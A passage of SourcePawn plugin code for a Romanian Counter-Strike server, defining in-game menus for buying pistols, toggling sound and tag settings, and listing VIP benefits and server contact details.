			{
				meniu.AddItem("", "Glock-18 - [200$]");
			}
			if(banipistoale < 500)
			{
				meniu.AddItem("", "Tec-9 - [500$]",ITEMDRAW_DISABLED);
			}
			else
			{
				meniu.AddItem("", "Tec-9 - [500$]");
			}
		}
		else if(GetClientTeam(client) == 2)
		{
			meniu.SetTitle("\n----------\nPistoale Anti-Teroriști]\n----------\n");
			if(banipistoale < 200)
			{
				meniu.AddItem("", "USP-S - [200$]",ITEMDRAW_DISABLED);
			}
			else
			{
				meniu.AddItem("", "USP-S - [200$]");
			}
			if(banipistoale < 200)
			{
				meniu.AddItem("", "P2000 - [200$]",ITEMDRAW_DISABLED);
			}
			else
			{
				meniu.AddItem("", "P2000 - [200$]");
			}
			if(banipistoale < 500)
			{
				meniu.AddItem("", "Five-SeveN - [500$]",ITEMDRAW_DISABLED);
			}
			else
			{
				meniu.AddItem("", "Five-SeveN - [500$]");
			}
		}
		meniu.ExitBackButton = true;
		meniu.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int MeniuPistoaleVHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
		MeniuArmamentVip(client);
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		int pistol = GetPlayerWeaponSlot(client, 1);
		if(GetClientTeam(client) == 3)
		{
			switch (param) 
			{
				case 0:
				{
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x10Glock-18\x01 cu \x06$200\x01.", client);
					if (pistol != -1)
					{
						CS_DropWeapon(client, pistol, true, true);
					}
					int pret = 200;
					SetEntProp(client, Prop_Send, "m_iAccount", GetEntProp(client, Prop_Send, "m_iAccount") - pret);
					GivePlayerItem(client,  "weapon_glock");
				}
				case 1:
				{
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x10Tec-9\x01 cu \x06$500\x01.", client);
					if (pistol != -1)
					{
						CS_DropWeapon(client, pistol, true, true);
					}
					int pret = 500;
					SetEntProp(client, Prop_Send, "m_iAccount", GetEntProp(client, Prop_Send, "m_iAccount") - pret);
					GivePlayerItem(client,  "weapon_tec9");
				}
			}
		}
		else if(GetClientTeam(client) == 2)
		{
			switch (param) 
			{
				case 0:
				{
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x10USP-S\x01 cu \x06$200\x01.", client);
					if (pistol != -1)
					{
						CS_DropWeapon(client, pistol, true, true);
					}
					int pret = 200;
					SetEntProp(client, Prop_Send, "m_iAccount", GetEntProp(client, Prop_Send, "m_iAccount") - pret);
					GivePlayerItem(client,  "weapon_usp_silencer");
				}
				case 1:
				{
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x10P2000\x01 cu \x06$200\x01.", client);
					if (pistol != -1)
					{
						CS_DropWeapon(client, pistol, true, true);
					}
					int pret = 200;
					SetEntProp(client, Prop_Send, "m_iAccount", GetEntProp(client, Prop_Send, "m_iAccount") - pret);
					GivePlayerItem(client,  "weapon_hkp2000");
				}
				case 2:
				{
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x10Five-SeveN\x01 cu \x06$500\x01.", client);
					if (pistol != -1)
					{
						CS_DropWeapon(client, pistol, true, true);
					}
					int pret = 500;
					SetEntProp(client, Prop_Send, "m_iAccount", GetEntProp(client, Prop_Send, "m_iAccount") - pret);
					GivePlayerItem(client,  "weapon_fiveseven");
				}
			}
		}
	}
}

/*-------------------
	Meniu Setări
-------------------*/
stock bool MeniuSetari(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu = new Menu(MeniuSetariHandler);
		meniu.SetTitle("\n----------\nSetări Server\n----------\n");
		meniu.AddItem("", "Sunete");
		meniu.AddItem("", "Tagul din tab");
		meniu.AddItem("", "Tagul din chat");
		if(g_IsPMon[client])
		{
			meniu.AddItem("", "Dorești să primești mesaje private? - [Da]");
		}
		else
		{
			meniu.AddItem("", "Dorești să primești mesaje private? - [Nu]");
		}
		if(AreDicesEnabled[client])
		{
			meniu.AddItem("", "Dorești să primești cereri de barbut? - [Da]");
		}
		else
		{
			meniu.AddItem("", "Dorești să primești cereri de barbut? - [Nu]");
		}
		meniu.ExitBackButton = true;
		meniu.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int MeniuSetariHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
		Meniu(client);
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 
		{
			case 0:
			{
				MeniuSetariSunete(client);
			}
			case 1:
			{
				MeniuSetariTag(client);
			}
			case 2:
			{
				MeniuSetariTagChat(client);
			}
			case 3:
			{
				if(g_IsPMon[client])
				{
					g_IsPMon[client] = false;
					SetClientCookie(client, g_PM_Cookie, "0");
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai dezactivat \x06mesajele private\x01.");
				}
				else 
				{
					g_IsPMon[client] = true;
					SetClientCookie(client, g_PM_Cookie, "1");
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai activat \x06mesajele private\x01.");
				}
			}
			case 4:
			{
				if(AreDicesEnabled[client])
				{
					AreDicesEnabled[client] = false;
					SetClientCookie(client, Dices_Cookie, "0");
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai dezactivat \x06cererile de barbut\x01.");
				}
				else
				{
					AreDicesEnabled[client] = true;
					SetClientCookie(client, Dices_Cookie, "1");
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai activat \x06cererile de barbut\x01.");
				}
			}
		}
	}
}

stock bool MeniuSetariTagChat(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu = new Menu(MeniuSetariTagChatHandler);
		meniu.SetTitle("\n-------------\nSetări Tag Tab/Chat\n-------------\n");
		AdminId admin = GetUserAdmin(client);
		if(admin != INVALID_ADMIN_ID)
		{
			char sGroup[32];
			if ((GetAdminGroup(admin, 0, sGroup, sizeof(sGroup)) != INVALID_GROUP_ID))
			{
				if(StrEqual(sGroup, "Owner+V.I.P") || StrEqual(sGroup, "Owner"))
				{
					if(TagChatMeniu[client])
					{
						meniu.AddItem("", "Tag Owner în chat - [Activat]");
					}
					else
					{
						meniu.AddItem("", "Tag Owner în chat - [Dezactivat]");
					}
				}
				else if(StrEqual(sGroup, "Co-Owner+V.I.P") || StrEqual(sGroup, "Co-Owner"))
				{
					if(TagChatMeniu[client])
					{
						meniu.AddItem("", "Tag Co-Owner în chat - [Activat]");
					}
					else
					{
						meniu.AddItem("", "Tag Co-Owner în chat - [Dezactivat]");
					}
				}
				else if(StrEqual(sGroup, "Supervizor+V.I.P") || StrEqual(sGroup, "Supervizor"))
				{
					if(TagChatMeniu[client])
					{
						meniu.AddItem("", "Tag Supervizor în chat - [Activat]");
					}
					else
					{
						meniu.AddItem("", "Tag Supervizor în chat - [Dezactivat]");
					}
				}
				else if(StrEqual(sGroup, "Administrator+V.I.P") || StrEqual(sGroup, "Administrator"))
				{
					if(TagChatMeniu[client])
					{
						meniu.AddItem("", "Tag Administrator în chat - [Activat]");
					}
					else
					{
						meniu.AddItem("", "Tag Administrator în chat - [Dezactivat]");
					}
				}
				else if(StrEqual(sGroup, "Moderator+V.I.P") || StrEqual(sGroup, "Moderator"))
				{
					if(TagChatMeniu[client])
					{
						meniu.AddItem("", "Tag Moderator în chat - [Activat]");
					}
					else
					{
						meniu.AddItem("", "Tag Moderator în chat - [Dezactivat]");
					}
				}
				else if(StrEqual(sGroup, "Helper+V.I.P") || StrEqual(sGroup, "Helper"))
				{
					if(TagChatMeniu[client])
					{
						meniu.AddItem("", "Tag Helper în chat - [Activat]");
					}
					else
					{
						meniu.AddItem("", "Tag Helper în chat - [Dezactivat]");
					}
				}
				else if(StrEqual(sGroup, "Slot+V.I.P") || StrEqual(sGroup, "Slot"))
				{
					if(TagChatMeniu[client])
					{
						meniu.AddItem("", "Tag Slot în chat - [Activat]");
					}
					else
					{
						meniu.AddItem("", "Tag Slot în chat - [Dezactivat]");
					}
				}
				else if(StrEqual(sGroup, "Miss+V.I.P") || StrEqual(sGroup, "Miss"))
				{
					if(TagChatMeniu[client])
					{
						meniu.AddItem("", "Tag Miss în chat - [Activat]");
					}
					else
					{
						meniu.AddItem("", "Tag Miss în chat - [Dezactivat]");
					}
				}
				else if(StrEqual(sGroup, "V.I.P"))
				{
					if(TagChatMeniu[client])
					{
						meniu.AddItem("", "Tag V.I.P în chat - [Activat]");
					}
					else
					{
						meniu.AddItem("", "Tag V.I.P în chat - [Dezactivat]");
					}
				}
				else
				{
					meniu.AddItem("", "Nu ai niciun tag!",ITEMDRAW_DISABLED);
				}
			}
		}
		meniu.ExitBackButton = true;
		meniu.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int MeniuSetariTagChatHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
		MeniuSetari(client);
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 
		{
			case 0:
			{
				if(TagChatMeniu[client])
				{
					TagChatMeniu[client] = false;
					SetClientCookie(client, TagChat, "0");
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai dezactivat \x06tag-ul din chat\x01.");
				}
				else 
				{
					TagChatMeniu[client] = true;
					SetClientCookie(client, TagChat, "1");
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai activat \x06tag-ul din chat\x01.");
				}
			}
		}
	}
}

stock bool MeniuSetariTag(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu = new Menu(MeniuSetariTagHandler);
		meniu.SetTitle("\n-------------\nSetări Tag Tab\n-------------\n");
		AdminId admin = GetUserAdmin(client);
		if(admin != INVALID_ADMIN_ID)
		{
			char sGroup[32];
			if ((GetAdminGroup(admin, 0, sGroup, sizeof(sGroup)) != INVALID_GROUP_ID))
			{
				if(StrEqual(sGroup, "Owner+V.I.P") || StrEqual(sGroup, "Owner"))
				{
					if(TagTabMeniu[client])
					{
						meniu.AddItem("", "Tag Owner în tab - [Activat]");
					}
					else
					{
						meniu.AddItem("", "Tag Owner în tab - [Dezactivat]");
					}
				}
				else if(StrEqual(sGroup, "Co-Owner+V.I.P") || StrEqual(sGroup, "Co-Owner"))
				{
					if(TagTabMeniu[client])
					{
						meniu.AddItem("", "Tag Co-Owner în tab - [Activat]");
					}
					else
					{
						meniu.AddItem("", "Tag Co-Owner în tab- [Dezactivat]");
					}
				}
				else if(StrEqual(sGroup, "Supervizor+V.I.P") || StrEqual(sGroup, "Supervizor"))
				{
					if(TagTabMeniu[client])
					{
						meniu.AddItem("", "Tag Supervizor în tab - [Activat]");
					}
					else
					{
						meniu.AddItem("", "Tag Supervizor în tab- [Dezactivat]");
					}
				}
				else if(StrEqual(sGroup, "Administrator+V.I.P") || StrEqual(sGroup, "Administrator"))
				{
					if(TagTabMeniu[client])
					{
						meniu.AddItem("", "Tag Administrator în tab - [Activat]");
					}
					else
					{
						meniu.AddItem("", "Tag Administrator în tab- [Dezactivat]");
					}
				}
				else if(StrEqual(sGroup, "Moderator+V.I.P") || StrEqual(sGroup, "Moderator"))
				{
					if(TagTabMeniu[client])
					{
						meniu.AddItem("", "Tag Moderator în tab - [Activat]");
					}
					else
					{
						meniu.AddItem("", "Tag Moderator în tab- [Dezactivat]");
					}
				}
				else if(StrEqual(sGroup, "Helper+V.I.P") || StrEqual(sGroup, "Helper"))
				{
					if(TagTabMeniu[client])
					{
						meniu.AddItem("", "Tag Helper în tab - [Activat]");
					}
					else
					{
						meniu.AddItem("", "Tag Helper în tab- [Dezactivat]");
					}
				}
				else if(StrEqual(sGroup, "Slot+V.I.P") || StrEqual(sGroup, "Slot"))
				{
					if(TagTabMeniu[client])
					{
						meniu.AddItem("", "Tag Slot în tab - [Activat]");
					}
					else
					{
						meniu.AddItem("", "Tag Slot în tab- [Dezactivat]");
					}
				}
				else if(StrEqual(sGroup, "Miss+V.I.P") || StrEqual(sGroup, "Miss"))
				{
					if(TagTabMeniu[client])
					{
						meniu.AddItem("", "Tag Miss în tab - [Activat]");
					}
					else
					{
						meniu.AddItem("", "Tag Miss în tab- [Dezactivat]");
					}
				}
				else if(StrEqual(sGroup, "V.I.P"))
				{
					if(TagTabMeniu[client])
					{
						meniu.AddItem("", "Tag V.I.P în tab - [Activat]");
					}
					else
					{
						meniu.AddItem("", "Tag V.I.P în tab- [Dezactivat]");
					}
				}
				else
				{
					meniu.AddItem("", "Nu ai niciun tag!",ITEMDRAW_DISABLED);
				}
			}
		}
		meniu.ExitBackButton = true;
		meniu.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int MeniuSetariTagHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
		MeniuSetari(client);
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 
		{
			case 0:
			{
				if(TagTabMeniu[client])
				{
					TagTabMeniu[client] = false;
					SetClientCookie(client, TagTab, "0");
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai dezactivat \x06tag-ul din tab\x01.");
				}
				else 
				{
					TagTabMeniu[client] = true;
					SetClientCookie(client, TagTab, "1");
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai activat \x06tag-ul din tab\x01.");
				}
			}
		}
	}
}

/*-------------------
	Meniu Setări Sunete
-------------------*/
stock bool MeniuSetariSunete(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu = new Menu(MeniuSetariSuneteHandler);
		meniu.SetTitle("\n-------------\nSetări Sunete\n-------------\n");
		if(OnOfSaySounds[client])
		{
			meniu.AddItem("", "SaySounds - [Activat]");
		}
		else
		{
			meniu.AddItem("", "SaySounds - [Dezactivat]");
		}
		if(SunetC4[client])
		{
			meniu.AddItem("", "C4 - [Activat]");
		}
		else
		{
			meniu.AddItem("", "C4 - [Dezactivat]");
		}
		if(CanHearTheSound[client])
		{
			meniu.AddItem("", "NoScope - [Activat]");
		}
		else
		{
			meniu.AddItem("", "NoScope - [Dezactivat]");
		}
		if(MuzicaSfarsit[client])
		{
			meniu.AddItem("", "Muzică sfârșit - [Activat]");
		}
		else
		{
			meniu.AddItem("", "Muzică sfârșit - [Dezactivat]");
		}
		meniu.ExitBackButton = true;
		meniu.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int MeniuSetariSuneteHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
		MeniuSetari(client);
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 
		{
			case 0:
			{
				if(OnOfSaySounds[client])
				{
					OnOfSaySounds[client] = false;
					SetClientCookie(client, SaySounds_Cookie, "0");
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai oprit \x06SaySounds\x01.");
				}
				else 
				{
					OnOfSaySounds[client] = true;
					SetClientCookie(client, SaySounds_Cookie, "1");
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai pornit \x06SaySounds\x01.");
				}
			}
			case 1:
			{
				if(SunetC4[client])
				{
					SunetC4[client] = false;
					SetClientCookie(client, C4Sound, "0");
					MeniuSetariSunete(client);
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai oprit sunetul de la \x06C4\x01.");
				}
				else 
				{
					SunetC4[client] = true;
					SetClientCookie(client, C4Sound, "1");
					MeniuSetariSunete(client);
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai pornit sunetul de la \x06C4\x01.");
				}
			}
			case 2:
			{
				if(CanHearTheSound[client])
				{
					CanHearTheSound[client] = false;
					SetClientCookie(client, HearSound, "0");
					MeniuSetariSunete(client);
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai oprit sunetul de la \x06Noscope\x01.");
				}
				else 
				{
					CanHearTheSound[client] = true;
					SetClientCookie(client, HearSound, "1");
					MeniuSetariSunete(client);
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai pornit sunetul de la \x06Noscope\x01.");
				}
			}
			case 3:
			{
				if(MuzicaSfarsit[client])
				{
					MuzicaSfarsit[client] = false;
					SetClientCookie(client, MuzicaCookie, "0");
					MeniuSetariSunete(client);
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai oprit muzica de la \x06sfârșitul rundei\x01.");
				}
				else 
				{
					MuzicaSfarsit[client] = true;
					SetClientCookie(client, MuzicaCookie, "1");
					MeniuSetariSunete(client);
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai pornit muzica de la \x06sfârșitul rundei\x01.");
				}
			}
		}
	}
}

/*-------------------
	Meniu Sisteme
-------------------*/
stock bool MeniuArmament(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu_vinde= new Menu(MeniuArmamentHandler);
		meniu_vinde.SetTitle("\n----------\nSisteme\n----------\n");
		meniu_vinde.AddItem("", "Admini & Vipi online");
		meniu_vinde.AddItem("", "Pariază pe CT / T");
		meniu_vinde.ExitBackButton = true;
		meniu_vinde.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int MeniuArmamentHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
		Meniu(client);
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 
		{
			case 0:
			{
				Online(client);
			}
			case 1:
			{
				MeniuPariu(client);
			}
		}
	}
}


/*-------------------
	Meniu_Wiki Server
-------------------*/
stock bool WikiServer(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu_wikiserver= new Menu(WikiServerHandler);
		meniu_wikiserver.SetTitle("----------------\nWiki Server\n----------------");
		meniu_wikiserver.AddItem("", "Beneficii V.I.P");
		meniu_wikiserver.AddItem("", "Beneficii Gold Member");
		meniu_wikiserver.AddItem("", "Comenzi");
		meniu_wikiserver.AddItem("", "Despre Server");
		meniu_wikiserver.AddItem("", "Prețuri");
		meniu_wikiserver.AddItem("", "Contact Owneri");
		meniu_wikiserver.ExitBackButton = true;
		meniu_wikiserver.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int WikiServerHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
		Meniu(client);
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 
		{
			case 0:
			{
				WikiVip(client);
			}
			case 1:
			{
				WikiGM(client);
			}
			case 2:
			{
				ComenziUtile(client);
			}
			case 3:
			{
				WikiInfo(client);
			}
			case 4:
			{
				FakeClientCommand(client, "sm_preturi");
			}
			case 5:
			{
				FakeClientCommand(client, "sm_owneri");
			}
		}
	}
}

stock bool WikiGM(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu = new Menu(WikiGMHandler);
		meniu.SetTitle("----------------\nBeneficii Gold Member\n----------------\nCerințe:\nESL.GAMELIFE.RO în nume");
		meniu.AddItem("", "x1 Flash",ITEMDRAW_DISABLED);
		meniu.AddItem("", "Armură mică",ITEMDRAW_DISABLED);
		meniu.ExitBackButton = true;
		meniu.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int WikiGMHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
		 WikiServer(client);
	}
}

stock bool WikiInfo(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu = new Menu(WikiInfoHandler);
		meniu.SetTitle("----------------\nDespre Server\n----------------");
		meniu.AddItem("", "Adresa: ESL.GAMELIFE.RO",ITEMDRAW_DISABLED);
		meniu.AddItem("", "Ip: 89.40.104.245:27015",ITEMDRAW_DISABLED);
		meniu.AddItem("", "Mod: Competitiv îmbunătățit",ITEMDRAW_DISABLED);
		meniu.AddItem("", "Forum: www.gamelife.ro -> Secțiunea ESL",ITEMDRAW_DISABLED);
		meniu.AddItem("", "Server dezvoltat de xSaG");
		meniu.ExitBackButton = true;
		meniu.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int WikiInfoHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
		WikiServer(client);
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param)
		{
			case 4:
			{
				PrintToChat(client, " \x05[BOT]ESL\x01: \x09Metode de contact \x07xSaG.exe");
				PrintToChat(client, " \x01- \x03Discord\x01: \x04xSaG#8670");
				PrintToChat(client, " \x01- \x08Steam\x01: \x04https://steamcommunity.com/id/xsag69");
				WikiInfo(client);
			}
		}
	}
}

/*-------------------
	Meniu_Wiki Vip
-------------------*/
stock bool WikiVip(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu_wikivip= new Menu(WikiVipHandler);
		meniu_wikivip.SetTitle("----------------\nBeneficii V.I.P\n----------------");	
		meniu_wikivip.AddItem("", "V.I.P Diamond");
		meniu_wikivip.AddItem("", "V.I.P Gold");
		meniu_wikivip.AddItem("", "V.I.P Silver");
		meniu_wikivip.AddItem("", "V.I.P Free");
		meniu_wikivip.ExitBackButton = true;
		meniu_wikivip.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int WikiVipHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
		WikiServer(client);
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 				
		{
			case 0:
			{
				WikiDiamond(client);
			}
			case 1:
			{
				WikiGold(client);
			}
			case 2:
			{
				WikiPremium(client);
			}
			case 3:
			{
				WikiFree(client);
			}
		}
	}
}

stock bool WikiDiamond(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu_wikivip= new Menu(WikiPremiumHandler);
		meniu_wikivip.SetTitle("[Î] De unde pot face rost de acest vip?\n[R] Donând sau caștingând diverse concursuri.\n----------------\n✎ Beneficii ⇘\n----------------");	
		meniu_wikivip.AddItem("", "HealthShot",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Radar Invis",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Color of aura",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "No self demage",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Neon",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Paintball",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Boost ladder",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Punch",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Fast Reload",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Fast plant bomb",ITEMDRAW_DISABLED);
		meniu_wikivip.ExitBackButton = true;
		meniu_wikivip.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

stock bool WikiGold(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu_wikivip= new Menu(WikiPremiumHandler);
		meniu_wikivip.SetTitle("[Î] De unde pot face rost de acest vip?\n[R] Donând sau caștingând diverse concursuri.\n----------------\n✎ Beneficii ⇘\n----------------");	
		meniu_wikivip.AddItem("", "Sanks",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "KillScreen",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Aura",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "HitMarker",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Skybox",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Tracers",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Color tracers",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "GrenadeTrails",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Color GrenadeTrails",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Electro Effects",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "DissolverBody",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Spawn Effects",ITEMDRAW_DISABLED);
		meniu_wikivip.ExitBackButton = true;
		meniu_wikivip.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

/*-------------------
	Meniu_Wiki Premium
-------------------*/
stock bool WikiPremium(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu_wikivip= new Menu(WikiPremiumHandler);
		meniu_wikivip.SetTitle("[Î] De unde pot face rost de acest vip?\n[R] Donând sau caștingând diverse concursuri.\n----------------\n✎ Beneficii ⇘\n----------------");	
		meniu_wikivip.AddItem("", "1000$ la fiecare început de rundă, exceptând rundele de pistoale",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "250$ bonus pentru plantarea bombei",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "250$ bonus pentru dezamorsarea bombei",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Armură 100% în fiecare rundă",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Cască în fiecare rundă după runda de pistoale",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Pachet de grenade în fiecare rundă (He, Flash x2, Molotov, Smoke)",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Gloanțe infinite la toate armele",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Bhop",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Damage înmulțit cu 1.1 (Ex: dacă damage-ul dat este 84, damage-ul pentru vip o să fie 84 * 1.1 = 92.4",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Nu își poate da flash",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Nu primește flash de la coechipieri",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Poate vedea în ce site s-a plantat bomba",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "10 HP pe kill",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Tracers la AWP & SSG",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Vipii au listă specială unde sunt afișați când sunt online",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Tag V.I.P în chat + tab",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Poate cumpăra double jump din shop",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Poate cumpăra cu 10% mai multă viteză din shop",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Acces la Say Sounds",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Stock AWP: 6",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Poate cumpăra arme din echipa adversă",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Nu primește kick dăcă stă mai mult de 10 minute la spectator",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Skinuri random din operațiunea Shattered Web",ITEMDRAW_DISABLED);
		meniu_wikivip.ExitBackButton = true;
		meniu_wikivip.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int WikiPremiumHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
       WikiVip(client);
	}
}

/*-------------------
	Meniu_Wiki Free
-------------------*/
stock bool WikiFree(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu_wikivip= new Menu(WikiFreeHandler);
		meniu_wikivip.SetTitle("[Î] De unde pot face rost de acest vip?\n[R] AutoRound Giveaway sau Ora Veselă.\n----------------\n✎ Beneficii ⇘\n----------------");	
		meniu_wikivip.AddItem("", "Armură 100% în fiecare rundă",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Cască în fiecare rundă după runda de pistoale",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Pachet de grenade în fiecare rundă (He, Flash x2, Molotov, Smoke)",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Gloanțe infinite la toate armele",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "5 HP pe kill",ITEMDRAW_DISABLED);
		meniu_wikivip.AddItem("", "Skinuri random din operațiunea Shattered Web",ITEMDRAW_DISABLED);
		meniu_wikivip.ExitBackButton = true;
		meniu_wikivip.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int WikiFreeHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
